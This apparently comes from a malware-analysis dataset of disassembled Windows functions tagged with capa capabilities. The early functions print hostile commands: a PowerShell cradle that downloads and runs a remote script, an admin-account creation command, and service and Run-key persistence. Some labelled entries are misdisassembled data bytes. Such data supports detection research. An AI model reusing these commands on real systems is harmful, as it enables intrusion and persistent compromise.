joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x60
call sym.___main
mov dword [esp + 0x40], 0x575c3a43
mov dword [esp + 0x44], 0x6f646e69
mov dword [esp + 0x48], 0x535c7377
mov dword [esp + 0x4c], 0x65747379
mov dword [esp + 0x50], 0x5c32336d
mov dword [esp + 0x54], 0x6c796170
mov dword [esp + 0x58], 0x2e64616f
mov dword [esp + 0x5c], 0x6c6c64
mov dword [esp + 0x11], 0x70747468
mov dword [esp + 0x15], 0x312f2f3a
mov dword [esp + 0x19], 0x312e3239
mov dword [esp + 0x1d], 0x382e3836
mov dword [esp + 0x21], 0x33322e36
mov dword [esp + 0x25], 0x72702f35
mov dword [esp + 0x29], 0x6c697669
mov dword [esp + 0x2d], 0x5f656765
mov dword [esp + 0x31], 0x61637365
mov dword [esp + 0x35], 0x6974616c
mov dword [esp + 0x39], 0x702e6e6f
mov word [esp + 0x3d], 0x3173
mov byte [esp + 0x3f], 0
lea eax, [esp + 0x11]
mov dword [esp + 4], eax
lea eax, [esp + 0x40]
mov dword [esp], eax
call dbg.DynamicPayloadRetrieval
xor eax, 1
test al, al
je 0x401540
mov dword [esp], str.Failed_to_retrieve_payload_DLL_and_PowerShell_script
call sym._puts
mov eax, 1
jmp 0x401573
lea eax, [esp + 0x11]
mov dword [esp + 4], eax
lea eax, [esp + 0x40]
mov dword [esp], eax
call dbg.InjectDllAndExecuteScript
xor eax, 1
test al, al
je 0x40156e
mov dword [esp], str.Failed_to_inject_DLL_and_execute_script
call sym._puts
mov eax, 1
jmp 0x401573
mov eax, 0
leave
ret

Function at 0x401575
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4015a8
mov dword [esp], str.Failed_to_load_payload_DLL
call sym._puts
mov eax, 0
jmp 0x401605
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
call dbg.EscalatePrivileges
xor eax, 1
test al, al
je 0x4015d5
mov dword [esp], str.Failed_to_escalate_privileges
call sym._puts
mov eax, 0
jmp 0x401605
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell.exe__ExecutionPolicy_Bypass__NoLogo__NoProfile__Command__IEX___New_Object_Net.WebClient_.DownloadString__s___
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._system
mov eax, 1
leave
ret
Function at 0x401607
Capabilities:
Create service
Delete service
Execute command
Persist via run registry key
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x46c
lea eax, [ebp - 0x428]
mov edx, eax
mov ebx, str.C:WindowsSystem32cmd.exe__C_net_user_malicious_user_malicious_password__add__net_localgroup_administrators_malicious_user__add
mov eax, 0x21
mov edi, edx
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x428]
mov dword [esp], eax
call sym._system
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._OpenSCManagerA_12
sub esp, 0xc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401708
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], str.cmd.exe__C_net_user_malicious_user_malicious_password__add__net_localgroup_administrators_malicious_user__add
mov dword [esp + 0x18], 1
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0x10
mov dword [esp + 0xc], 2
mov dword [esp + 8], str.MaliciousService
mov dword [esp + 4], str.MaliciousService
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CreateServiceA_52
sub esp, 0x34
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4016fa
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._CloseServiceHandle_4
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._DeleteService_4
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseServiceHandle_4
sub esp, 4
mov dword [esp], str.C:Path_toMaliciousDLL.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40172e
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x40000000
mov dword [esp], str.C:WindowsSystem32criticalfile.txt
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
je 0x401784
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
lea eax, [ebp - 0x42c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
jne 0x4017ca
mov eax, dword [ebp - 0x42c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401815
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 4], 0x4062f6
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40184d
mov dword [esp], str.Failed_to_open_DLL_file_for_writing
call sym._puts
mov eax, 0
jmp 0x4018fc
mov dword [ebp - 0x10], str.DLL_Content
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 0x40632c
mov dword [esp], str.script.ps1
call sym._fopen
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4018ba
mov dword [esp], str.Failed_to_open_PowerShell_script_file_for_writing
call sym._puts
mov eax, 0
jmp 0x4018fc
mov dword [ebp - 0x18], str.PowerShell_Script_Content
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
mov eax, 1
leave
ret
Function at 0x403a74
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
mov eax, dword [0x44608c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
mov eax, 0x101
push 0
push eax
mov ecx, esi
mov dword [ebp - 0x390], eax
call fcn.004046c1
cmp dword [esi + 0x14], 8
jb 0x403aaa
mov eax, dword [esi]
jmp 0x403aac
mov eax, esi
lea ecx, [ebp - 0x390]
push ecx
push eax
push 2
call sub.Secur32.dll_GetUserNameExW
test al, al
je 0x403adf
push 0
push dword [ebp - 0x390]
mov ecx, esi
call fcn.004046c1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004065bb
mov esp, ebp
pop ebp
ret 4
push 0x4243c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x38c]
call fcn.004018f5
push 0x442bc0
lea eax, [ebp - 0x38c]
push eax
call fcn.004073d4
int3

Function at 0x402450
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x402475
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov ecx, 0x4030a8
sub ecx, 0x4030a4
sar ecx, 2
push ecx
push 0x4030a4
call fcn.00402560
add esp, 8
mov edx, 0x4030a0
sub edx, 0x40309c
sar edx, 2
push edx
push 0x40309c
call fcn.00402560
add esp, 8
mov eax, dword [ebp - 0x1c]
and eax, 1
je 0x4024cf
movzx ecx, word [ebp - 0x18]
mov dword [ebp - 0x54], ecx
jmp 0x4024d6
mov dword [ebp - 0x54], 0xa
mov edx, dword [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x50]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x40368c]
push ecx
mov edx, dword [0x403688]
push edx
call fcn.004025a0
add esp, 8
mov eax, dword [0x403688]
push eax
call fcn.00402420
add esp, 4
mov ecx, 0x4030b0
sub ecx, 0x4030ac
sar ecx, 2
push ecx
push 0x4030ac
call fcn.00402560
add esp, 8
mov edx, 0x4030b8
sub edx, 0x4030b4
sar edx, 2
push edx
push 0x4030b4
call fcn.00402560
add esp, 8
call fcn.004025d0
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40357f
Capabilities:
Encode data using xor

Disassembly:
call fcn.00403c10
push ebx
push 0x8000000
push 3
push ebx
push 3
mov byte [esp + 0x6c], 1
mov eax, dword [esp + 0x78]
push 0x80000000
push eax
call dword [0x452300]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403633
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
push eax
call fcn.00403900
add esp, 4
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x58], bl
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4035e8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x58], 0xffffffff
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403610
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x50]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.004347e7
add esp, 0x48
ret 8
push ebx
push edi
call dword [0x4522fc]
lea ecx, [esp + 0x14]
mov esi, eax
push ecx
call fcn.00403780
mov byte [esp + 0x58], 2
mov edx, dword [esp + 0x14]
mov eax, dword [edx - 8]
mov ecx, 1
sub ecx, dword [edx - 4]
sub eax, esi
or eax, ecx
jge 0x40366f
push esi
lea ecx, [esp + 0x18]
call fcn.004019d0
mov edx, dword [esp + 0x14]
push ebx
lea eax, [esp + 0x24]
push eax
push esi
push edx
push edi
call dword [0x4522f8]
push edi
call dword [0x452314]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.0043510f
add esp, 8
cmp eax, ebx
jl 0x403771
mov ecx, dword [esp + 0x14]
cmp eax, dword [ecx - 8]
jg 0x403771
mov dword [ecx - 0xc], eax
mov edx, dword [esp + 0x14]
xor ecx, ecx
mov word [edx + eax*2], cx
cmp esi, dword [esp + 0x20]
je 0x403705
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
push eax
call fcn.00403900
mov esi, dword [esp + 0x20]
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x5c], 1
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4035c4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x4035c4
mov edx, dword [esp + 0x14]
or eax, 0xffffffff
mov ecx, esi
cmp esi, ebx
je 0x40372c
movzx edi, byte [edx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
xor eax, dword [ebp + esi*4]
dec ecx
inc edx
cmp ecx, ebx
jne 0x403712
push 0x10
lea ecx, [esp + 0x28]
not eax
push ecx
push eax
call fcn.00435182
lea eax, [esp + 0x30]
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x403745
sub eax, edx
sar eax, 1
push eax
lea edx, [esp + 0x28]
push edx
lea ecx, [esp + 0x20]
call fcn.004017b0
lea edi, [esp + 0x18]
call fcn.00403850
jmp 0x4036be
push 0x80070057
call fcn.00401b20
int3

Function at 0x403a40
Capabilities:
Check for vm using instruction vpcext

Disassembly:
mov eax, dword [esp + 4]
cmp eax, 0x50
ja case.0x403a50.1
movzx ecx, byte [eax + 0x403a74]
jmp dword [ecx*4 + 0x403a64]
jmp int.00417ec2
jmp fcn.00417efa
ret
Function at 0x406a70
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x44fb4b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x466640]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
lea ecx, [esi + 4]
mov dword [esi], 0x459258
call fcn.0044e275
push 4
mov dword [esp + 0x20], 0
call fcn.00417b96
mov edi, eax
add esp, 4
test edi, edi
je 0x406aee
call fcn.0044dbfa
mov dword [edi], eax
call fcn.0044da28
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.0044d94c
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406ae3
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call int.0044d974
jmp 0x406af0
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x416d40
Capabilities:
Check for vm using instruction vpcext

Disassembly:
dec esp
add byte [ebp], al
push ebx
add byte [eax], ah
add byte [eax], ch
add byte [eax], bl
cmp byte [eax], al
add byte ss:[ecx], ch
Function at 0x417c8e
Capabilities:
Check for vm using instruction vpcext

Disassembly:
dec eax
inc ebx
dec esi
pop edx
xor dword [eax], eax
push ebp
push esp
jbe 0x417ced
push ebp
ja 0x417ceb
outsd dx, dword [esi]
add byte [ecx + 0x4f], bl
js 0x417cd4
jns 0x417ce8
inc esi
add byte [ecx + 0x74], dl
cmp eax, 0x5b0a0d3d
add byte [ebx + 0x45], dl
push esp
push ebp
push eax
push ebx
push eax
add byte [ebp + 0x5d], cl
and byte [ebp + eax*2 + 0x54], al
inc ecx
dec ecx
add byte [eax + 0x32], cl
xor dh, byte ss:[eax]
Function at 0x4231fb
Capabilities:
Parse pe header

Disassembly:
jae 0x423244
push ecx
jne 0x423253
add byte fs:[esi + 0x76], dh
push edi
dec di
Function at 0x403790
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4037a9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4037e4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4037e0
lea ebx, [ebx]
cmp esi, eax
jae 0x4037e4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4037d0
cmp esi, eax
jb 0x4037ea
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x403ca0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0x49c340
push eax
push 0
xor bl, bl
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x403cf6
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x403cf5
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x403cf5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x403cf5
mov ecx, dword [esp + 0x14]
push edi
push eax
push ecx
call fcn.004669c0
add esp, 0xc
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
ret 8
Function at 0x407140
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, 0x1138
call fcn.00466d30
mov eax, dword [0x4bc4a0]
xor eax, esp
mov dword [esp + 0x1134], eax
mov eax, dword [esp + 0x1148]
mov ecx, dword [esp + 0x114c]
push ebx
push ebp
mov ebp, dword [esp + 0x1148]
push esi
mov esi, dword [esp + 0x1148]
xor ebx, ebx
lea edx, [esp + 0x18]
push edx
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.0044469a
test eax, eax
je 0x4072ef
push edi
push ebx
push 0x80
push 3
push ebx
push 3
push accept
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xfff
jb 0x4071fa
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1134]
xor ecx, esp
call fcn.00466555
add esp, 0x1138
ret
lea eax, [esi + 1]
push eax
lea ecx, [esp + 0x148]
push ebx
push ecx
call fcn.00466720
add esp, 0xc
push ebx
lea edx, [esp + 0x18]
push edx
push esi
lea eax, [esp + 0x150]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
je 0x4071d9
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, dword [esp + 0x14]
jne 0x4071df
lea ecx, [esp + 0x144]
push str._project_:_
push ecx
call fcn.004668e0
mov edi, eax
add esp, 8
cmp edi, ebx
je 0x4071df
add edi, 0xc
push str.___version_:_
push edi
call fcn.004668e0
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x4071df
push edi
push ebp
mov byte [esi], bl
call fcn.00405450
add esp, 8
test al, al
jne 0x4071df
add esi, 0xd
push str.___url_:_
push esi
call fcn.004668e0
mov edi, eax
add esp, 8
cmp edi, ebx
je 0x4071df
mov ebp, dword [esp + 0x18]
cmp ebp, ebx
je 0x4072af
push esi
call fcn.00467557
add esp, 4
mov dword [ebp], eax
push esi
mov byte [edi], bl
call fcn.00467557
add esp, 4
cmp dword [esp + 0x1154], eax
jge 0x4072e8
add edi, 9
push 0x49c650
push edi
call fcn.004668e0
add esp, 8
cmp eax, ebx
je 0x4071df
mov ecx, dword [esp + 0x10]
push edi
mov byte [eax], bl
call fcn.004062e0
mov al, 1
jmp 0x4071e1
mov ecx, dword [esp + 0x1140]
pop esi
pop ebp
pop ebx
xor ecx, esp
xor al, al
call fcn.00466555
add esp, 0x1138
ret
Function at 0x409b90
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x110
mov eax, dword [0x4bc4a0]
xor eax, esp
mov dword [esp + 0x10c], eax
mov ecx, dword [esp + 0x118]
mov eax, dword [esp + 0x114]
push esi
push edi
mov edi, dword [esp + 0x124]
lea edx, [esp + 8]
push edx
push 1
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409c09
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
push esi
push edx
mov dword [esp + 0x1c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x114]
pop edi
pop esi
xor ecx, esp
call fcn.00466555
add esp, 0x110
ret 0xc

Function at 0x40a4b0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x495bd8
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4bc4a0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x7c], 0
jne 0x40a5c8
call fcn.00443a03
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40a4fa
push 0x80004005
call fcn.00403760
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x10], esi
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
mov dword [esp + 0x1c], 0
jge 0x40a538
push 0x104
lea ecx, [esp + 0x14]
call fcn.00405330
mov esi, dword [esp + 0x10]
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.00466d5b
add esp, 8
test eax, eax
jl 0x40a5db
cmp eax, dword [esi - 8]
jg 0x40a5db
push 0xd
mov dword [esi - 0xc], eax
push str.winhlp32.exe
lea ecx, [esp + 0x18]
mov byte [eax + esi], 0
call fcn.00405890
mov edi, dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40a59d
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x40a59d
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [ebx + 0x7c], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [edi - 0x10]
mov dword [esp + 0x1c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40a5c8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret
push 0x80070057
call fcn.00403760
int3
Function at 0x40d740
Capabilities:
Create directory

Disassembly:
sub esp, 0x34c
mov eax, dword [0x4bc4a0]
xor eax, esp
mov dword [esp + 0x348], eax
push 0x103
lea eax, [esp + 0x249]
push 0
push eax
mov byte [esp + 0x250], 0
call fcn.00466720
push 0x103
lea ecx, [esp + 0x151]
push 0
push ecx
mov byte [esp + 0x158], 0
call fcn.00466720
mov eax, dword [esp + 0x368]
lea edx, [esp + 0x25c]
add esp, 0x18
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40d7a0
lea edx, [esp + 0x244]
push 0x49d124
push edx
call fcn.004668e0
add esp, 8
test eax, eax
je 0x40d7d8
push 0x49d124
push eax
mov byte [eax], 0x5c
call fcn.004668e0
add esp, 8
test eax, eax
jne 0x40d7c3
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x254]
push 0x49c688
push eax
xor esi, esi
call fcn.0040d3c0
add esp, 8
cmp eax, 0xffffffff
je 0x40d89b
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea esi, [esi + eax + 1]
push esi
lea ecx, [esp + 0x258]
push ecx
lea edx, [esp + 0x158]
push edx
call fcn.004669c0
lea edi, [esp + 0x15c]
add esp, 0xc
mov byte [esp + esi + 0x150], 0
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40d830
mov eax, dword [0x49d120]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x154]
push edx
mov dword [edi], eax
xor bl, bl
call ebp
cmp eax, 0xffffffff
je 0x40d857
mov bl, 1
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
test bl, bl
jne 0x40d87d
push 0
lea eax, [esp + 0x154]
push eax
mov byte [esp + esi + 0x158], bl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40d8b6
lea ecx, [esp + esi + 0x254]
push 0x49c688
push ecx
call fcn.0040d3c0
add esp, 8
cmp eax, 0xffffffff
jne 0x40d802
mov al, 1
mov ecx, dword [esp + 0x358]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00466555
add esp, 0x34c
ret
xor al, al
jmp 0x40d89d

Function at 0x40d8c0
Capabilities:
Get disk size

Disassembly:
sub esp, 0x24
mov eax, dword [0x4bc4a0]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
push edi
mov edi, dword [esp + 0x30]
xor eax, eax
push 0x49c688
push edi
mov byte [esp + 0x28], 0
mov dword [esp + 0x29], eax
mov word [esp + 0x2d], ax
mov byte [esp + 0x2f], al
call fcn.0040d3c0
mov esi, eax
add esp, 8
cmp esi, 0xffffffff
je 0x40d902
cmp esi, 7
jle 0x40d91c
push 0x49d124
push edi
call fcn.0040d3c0
mov esi, eax
add esp, 8
cmp esi, 0xffffffff
je 0x40d97d
cmp esi, 7
jg 0x40d97d
lea eax, [esi + 1]
push eax
lea ecx, [esp + 0x24]
push edi
push ecx
call fcn.004669c0
add esp, 0xc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
mov byte [esp + esi + 0x31], 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x40d97d
mov eax, dword [esp + 0xc]
cmp eax, dword [esp + 0x38]
jb 0x40d97d
ja 0x40d967
mov ecx, dword [esp + 8]
cmp ecx, dword [esp + 0x34]
jbe 0x40d97d
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00466555
add esp, 0x24
ret
mov ecx, dword [esp + 0x28]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00466555
add esp, 0x24
ret